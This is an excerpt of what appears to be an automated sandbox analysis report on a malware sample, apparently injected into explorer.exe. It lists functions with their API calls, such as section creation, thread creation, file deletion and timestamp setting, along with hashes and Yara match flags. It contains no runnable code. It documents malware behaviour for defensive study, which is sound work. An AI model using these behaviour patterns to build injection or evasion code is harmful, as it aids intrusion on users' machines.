Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction ID: 207861a3759c1b147de2553678edefd9187cc257709d93c52e233f88d5e7a3be
Opcode Fuzzy Hash: 038fd76a8208d0ddfff32e2f40036fbca87feb8e69a48f33ff6f35dc682cef07
Instruction Fuzzy Hash: B70169F1208209FBEB009A908D61EBA3668AB05760F700133BA13781F5D57C9A53E76B

Function 00401922 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction ID: 578df434b3d236032839297bc76fd9486bb072801922ad90ba2380d7086ecf03
Opcode Fuzzy Hash: c88f444a594768d2d4fab485523800559cc166debe3a6fe30cf89bfb996ff5f6
Instruction Fuzzy Hash: 95F05EB1208209FBEF009F908D61EAA3729AF05710F644137BA52781F5D63CDA53EB1B

Function 0040192B Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction ID: b5d34a972f1ec939c421f577379ccf4d396b21f1793fd223155277739043cea6
Opcode Fuzzy Hash: 45864dc147576a9e119c499a9794f12b744a0bfa5c226a532e69094f16d3b09b
Instruction Fuzzy Hash: 5AF05EB1218209FBEB009F908D61EBA3629AF05310F644177BA12781F5C63DDA23E75B

Function 0040193C Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction ID: c277f467d3f9426b8f9a73765fdcab00a649fd51b95b24d53f0d4f33e3e8ae71
Opcode Fuzzy Hash: 14db16c3e861f19ad5dfd30c38be67768c01ca1c8fcdc6992631d9b2414dadb5
Instruction Fuzzy Hash: F7F037B1108209FBDF009F94CD51EAA3729AF09310F644577BA12781F5C63DDA12E72B

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 0040194E

Part of subcall function 00401529: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
Part of subcall function 00401529: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction ID: 30c85490bd3e36b3d7497cee73256dee3cb4488b2b17691bada95d8d1bd3f612
Opcode Fuzzy Hash: d565b972daf1ea01d692af33d09a01f0ed4f5aa4668cdc6292c3b22aaefac0ec
Instruction Fuzzy Hash: 33F037B1204205FBDF009F94CD91EAE3629AF05310F644173BA12791F5D67DDA12E75B

Function 00418740 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00513D6C,00418DAF), ref: 00418748

Memory Dump Source

Source File: 00000005.00000002.1658546479.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_oBuf.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction ID: 68696ac1b9cb92420161d977e59fd9b705cf74f057d8962c0b4e3d7dbc73b596
Opcode Fuzzy Hash: 8edb2acf596b02bf36b0311ec2b3e3f34bd0854dc09103549fc4bb4fc422a900
Instruction Fuzzy Hash: FDB012F0A492009FD700CF54FC64BD03B74F358302F00C061F500C2164EB304908EB10

Non-executed Functions

Function 006A092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 006A0966
GetProcAddress., xrefs: 006A09DC, 006A09DF, 006A09E4
., xrefs: 006A095F

Memory Dump Source

Source File: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 950ca7b9e5abbbfde5366c66b5014f758a29023b43122d8a2dbe4e0272f0e847
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 5B3137B6900609DFEB10DF99C880AAEBBF6FF49324F24504AD441A7311D771EA45CFA4

Function 004020EA Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f97d7e3c198c930df0e1e3726df986428e5bed6b78be6737e9bf24f670245c
Instruction ID: 1fe14f3d08a5ad6b2b8af3127fa4f425e7ffb0c359c280517f11db711c116789
Opcode Fuzzy Hash: 18f97d7e3c198c930df0e1e3726df986428e5bed6b78be6737e9bf24f670245c
Instruction Fuzzy Hash: 0A716C32400264DADB28EFBCC6CAE557370FB02F00B550BB6C5812F58ADB75B6198B96

Function 0040332A Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b2d8a9e10ea34c66f2be851acd177ef02858804a0a42e4fa9a70c669c45491b
Instruction ID: 00eee5220ca6749cd960501b77aa4278c773043ef3e1e8922619681b4c311c41
Opcode Fuzzy Hash: 4b2d8a9e10ea34c66f2be851acd177ef02858804a0a42e4fa9a70c669c45491b
Instruction Fuzzy Hash: DA318A6550C2C08FE7225F3444E56D97FA4EF1371270901EBC8E1AA6A2D63D9E47834E

Function 0090FFD4 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1659047327.000000000090D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_90d000_oBuf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 85c8ff51fdb7da4e970f5834e2251713a8ca58d39b0baf83898eefdd5dd043f9
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 121170723401049FDB54DF55DC91FE673EAEB8D360B298065E904CB356D6B6EC81C760

Function 00402379 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c91299fc0d5ea6405d973304b2732cfb05cef970dc5b42c380558f1c3c8a50
Instruction ID: e7a2f1e1f2d18035c496875c0c2bba996cc0d18765e75913e3c7fd8bcbe23822
Opcode Fuzzy Hash: 14c91299fc0d5ea6405d973304b2732cfb05cef970dc5b42c380558f1c3c8a50
Instruction Fuzzy Hash: CA11533600420ADFD715EE219A89AA9BB21FB45704B5400BADE562B0C2A2BD7123970B

Function 0040237B Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecd1a4c209d5f5235aa5223a66586c749e58f70271c2d5c11b30b858281451a
Instruction ID: d9f06ca26037506423ecc87bc330270b3b45d0e2ffab50e6a8e269eb556b0e13
Opcode Fuzzy Hash: 5ecd1a4c209d5f5235aa5223a66586c749e58f70271c2d5c11b30b858281451a
Instruction Fuzzy Hash: 7411533640820ADFD715EE21AA89AA6BB31FB45704F5400BBDE562B0C1E2BD7123D74B

Function 00402387 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c29bc3172a4a75054b17bc2abf467eb46d0d52112e2b03bc1234d3f1f3eeaba
Instruction ID: 8ab6e973ac2bde56534b905b9a6112487ad567182bc04a9cefd4a17b3c0f3d42
Opcode Fuzzy Hash: 2c29bc3172a4a75054b17bc2abf467eb46d0d52112e2b03bc1234d3f1f3eeaba
Instruction Fuzzy Hash: A6113636504206CFDB15DF20D9895A8B722FB45704B1400BACE522B0C1E37D7113D70B

Function 00402397 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2fb1fcd810030a7c701492efe6b1583806f24c29ad391e8378491e72e53c4f9
Instruction ID: 10c1f8c9815bd1bae344db256f26ecf9b321a2c49f9f40fa9571263b21f216dd
Opcode Fuzzy Hash: c2fb1fcd810030a7c701492efe6b1583806f24c29ad391e8378491e72e53c4f9
Instruction Fuzzy Hash: 17113636404206CFD715DF10AA895A8B721BB55704B14007ACE521B0C1A3BD6113970B

Function 0040239B Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad580f4852e8641318215a16f7c63f70c318642c86c98d9f634171b4294914d4
Instruction ID: f3401649f1529dc56ca8e0e6371485d35b9042d0b2056da4c8f47593e1f5965b
Opcode Fuzzy Hash: ad580f4852e8641318215a16f7c63f70c318642c86c98d9f634171b4294914d4
Instruction Fuzzy Hash: 7701263644420ACFDB1AEF11E9896E8B732FB55704B5401BACE565B0C1E37D6113D70B

Function 0040239E Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658523748.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_oBuf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d17a2e63e4f1915686b689582fba0273351ae16582c8cdc9572b60fe9b5c197
Instruction ID: ab8b863e00b9434e1dbf8970a3beebb42fa128e0550c32edf730788d57ebd560
Opcode Fuzzy Hash: 0d17a2e63e4f1915686b689582fba0273351ae16582c8cdc9572b60fe9b5c197
Instruction Fuzzy Hash: 1001263640434ACFCB16EF11E9895E4BB32BF45708B4801A6CE565B092E3793122D70B

Function 006A0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1658776261.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6a0000_oBuf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 9670c6dc6782615957e8167651f040a8d9d68a0a5bd5790f4f5c73451d1e142f
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 7E0184766016048FEB21EF64C804BEA33E6FF87315F4544A5D50697242E774AD418F90

Function 004189D0 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418A04
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418A1F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418A42
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418A51

Memory Dump Source

Source File: 00000005.00000002.1658546479.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_oBuf.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction ID: bd9cb2cda3ccdbb603686fa1a54157cb247b1e4b5f6e470ed3bcac1d3601a900
Opcode Fuzzy Hash: 87efacac19a89b0c53b9dbb33d5e1312a162f1387c04757d6307752c4e174176
Instruction Fuzzy Hash: ED018474A402049BD760EB64EC55BE937B8FB1C755F00807BFA05A72D0DE746E88CB9A

Function 00418950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418964
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418976

Strings

-, xrefs: 004189AF

Memory Dump Source

Source File: 00000005.00000002.1658546479.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_40b000_oBuf.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction ID: b4672369b185086f5e4321c569724b1a241b362aa46ae39454cd2dcc54bfc028
Opcode Fuzzy Hash: a724ab6c00ba43ed920c74289dad73afc07e5f40d831fe2fe4a3629ab1fe5b50
Instruction Fuzzy Hash: 2DF0FCB18242449ADB119BA5DD807FE7B68E709330F51422EED0466240CB794EC59797

Analysis Process: explorer.exePID: 3968, Parent PID: 2180COMMON

Execution Graph

Execution Coverage:	39.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	229
Total number of Limit Nodes:	21

Executed Functions

Function 00B23678 Relevance: 1.9, APIs: 1, Instructions: 404comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE ref: 00B236C5

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction ID: 4018062e5a983522a858bb4134ecd936311b7199a25fa125ef29309ba6c459f7
Opcode Fuzzy Hash: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction Fuzzy Hash: 08E1E934608A4C8FCF94EF28C895EA9B7F1FFA9305F114699E44ACB265DB70E944CB41

Function 00B23520 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00B23574

Part of subcall function 00B23678: CoCreateInstance.COMBASE ref: 00B236C5

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstanceNameUser
String ID:
API String ID: 3213660374-0
Opcode ID: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction ID: af7a69eb62090b88b61456b858c68cdd78ef8dad82a0307186c22ca2afb2ee78
Opcode Fuzzy Hash: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction Fuzzy Hash: 26110A30718F5C4FCBA0EF68A01976EB6D2EBDC350F500A6EA84EC3259DA7889448781

Function 00B21A60 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 00B21B77
CreateThread.KERNEL32 ref: 00B21D32
CloseHandle.KERNEL32 ref: 00B21D3B
CreateThread.KERNEL32 ref: 00B21D59
CloseHandle.KERNEL32 ref: 00B21D62

Strings

iP+, xrefs: 00B21CC2

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: Create$CloseHandleThread$Heap
String ID: iP+
API String ID: 1490796931-51890417
Opcode ID: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction ID: 5b4a786da1c01d2ba8be881da8507ea6a7cbae126309c19e96601c00bc9f3c5d
Opcode Fuzzy Hash: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction Fuzzy Hash: A791C530618E58CFCF54EF2CE8966A573E6FBA8300B4405BD9C4ECB156EA34D941CB96

Function 0882239C Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 08822703
DeleteFileW.KERNEL32 ref: 08822710
SleepEx.KERNEL32 ref: 08822771
RtlExitUserThread.NTDLL ref: 08822779

Strings

|:|, xrefs: 088224BC

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction ID: 45ccb32d71aa093e0b3b1e243a779fa89d506a0a91c7e5c06e25b9d8302f7804
Opcode Fuzzy Hash: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction Fuzzy Hash: 15E1A430718F58CFD769AB6C84586BAB6D1FB98312F10062ED49FC3240DF74E9828786

Function 00B2239C Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 00B22703
DeleteFileW.KERNEL32 ref: 00B22710
SleepEx.KERNEL32 ref: 00B22771
RtlExitUserThread.NTDLL ref: 00B22779

Strings

|:|, xrefs: 00B224BC

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction ID: 761edc063c2ac33e6458655a982ae3c7546c6b494575a38f5208886e2dc6328d
Opcode Fuzzy Hash: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction Fuzzy Hash: 97E1B230718F588BD729EB28A4597AA76D1FF98311F10066EE49FC3241DF74ED428786

Function 00B21F94 Relevance: 7.7, APIs: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 00B2201E
CopyFileW.KERNEL32 ref: 00B2202D
DeleteFileW.KERNEL32 ref: 00B2203E
DeleteFileW.KERNEL32 ref: 00B22089

Part of subcall function 00B249B0: SetFileAttributesW.KERNEL32 ref: 00B249FF
Part of subcall function 00B249B0: CreateFileW.KERNEL32 ref: 00B24A29
Part of subcall function 00B249B0: SetFileTime.KERNEL32 ref: 00B24A54

CreateFileW.KERNEL32 ref: 00B22115

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: File$Delete$Create$AttributesCopyTime
String ID:
API String ID: 642576546-0
Opcode ID: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction ID: a393d2088402aa57d0fe6176a281b37e88012ae6975efce03910556005c30ed8
Opcode Fuzzy Hash: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction Fuzzy Hash: E2414C30718A6C4FDBA8AF6CA45936E75D2EB8C311F5441AEA80EC3286DE749D068785

Function 00B23C84 Relevance: 7.6, APIs: 5, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00B23CA6
Process32First.KERNEL32 ref: 00B23CC5
Process32Next.KERNEL32 ref: 00B23D10
CloseHandle.KERNEL32 ref: 00B23D1D
SleepEx.KERNEL32 ref: 00B23D28

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction ID: f3b414dc9bbbf4e9a8de824f4f56e17cd616759a35289bc9eb571c91b3314cc6
Opcode Fuzzy Hash: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction Fuzzy Hash: FE21E730118A088FDB14EF24D0887AA72D2FB88315F1807BAD84FDE155DB388A458711

Function 08821A60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 08821B77
CreateThread.KERNEL32 ref: 08821D32
CreateThread.KERNEL32 ref: 08821D59

Strings

iP+, xrefs: 08821CC2

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$Heap
String ID: iP+
API String ID: 1054751041-51890417
Opcode ID: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction ID: 2a25ab983d6a535afc02926892dd8fb46b40a455e71ec687941d3b7f6ba06eb2
Opcode Fuzzy Hash: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction Fuzzy Hash: C591E334218E58CFCF14EF28D8956A573E6FB98302B14027DDC4ECB256EB30E5818B96

Function 00B249B0 Relevance: 4.6, APIs: 3, Instructions: 84
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 00B249FF
CreateFileW.KERNEL32 ref: 00B24A29
SetFileTime.KERNEL32 ref: 00B24A54

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateTime
String ID:
API String ID: 1986686026-0
Opcode ID: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction ID: 943f3ca3fad8f3ba0c9dd17ebc2d8807924b438ce3096240ec54e26d0005a8bf
Opcode Fuzzy Hash: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction Fuzzy Hash: BC21FF3071CA488FDF64EF68988979EB6E2FBDC705F10456EA84EC7245DA34DA058782

Function 00B24E90 Relevance: 3.1, APIs: 2, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNEL32 ref: 00B24F15
ObtainUserAgentString.URLMON ref: 00B24F7E

Memory Dump Source

Source File: 00000009.00000002.2692065809.0000000000B21000.00000020.80000000.00040000.00000000.sdmp, Offset: 00B21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b21000_explorer.jbxd

Yara matches

Similarity

API ID: AgentObtainQueryStringUserValue
String ID:
API String ID: 4107646653-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: f5dc9074a6e34ee2b7b063ccf3c544ab50d6ec9e93f1d363a930e859dfe77e1b
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: A0318631608A5C8FDB18EF68E8896E977D5FB98314B0442BAE85EC3546EF7098058791

Function 08821E1C Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 08824D20: GetVolumeInformationA.KERNEL32 ref: 08824D8D

CreateMutexExA.KERNEL32 ref: 08821E8F
CreateFileMappingA.KERNEL32 ref: 08821F41

Memory Dump Source

Source File: 00000009.00000002.2697683211.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
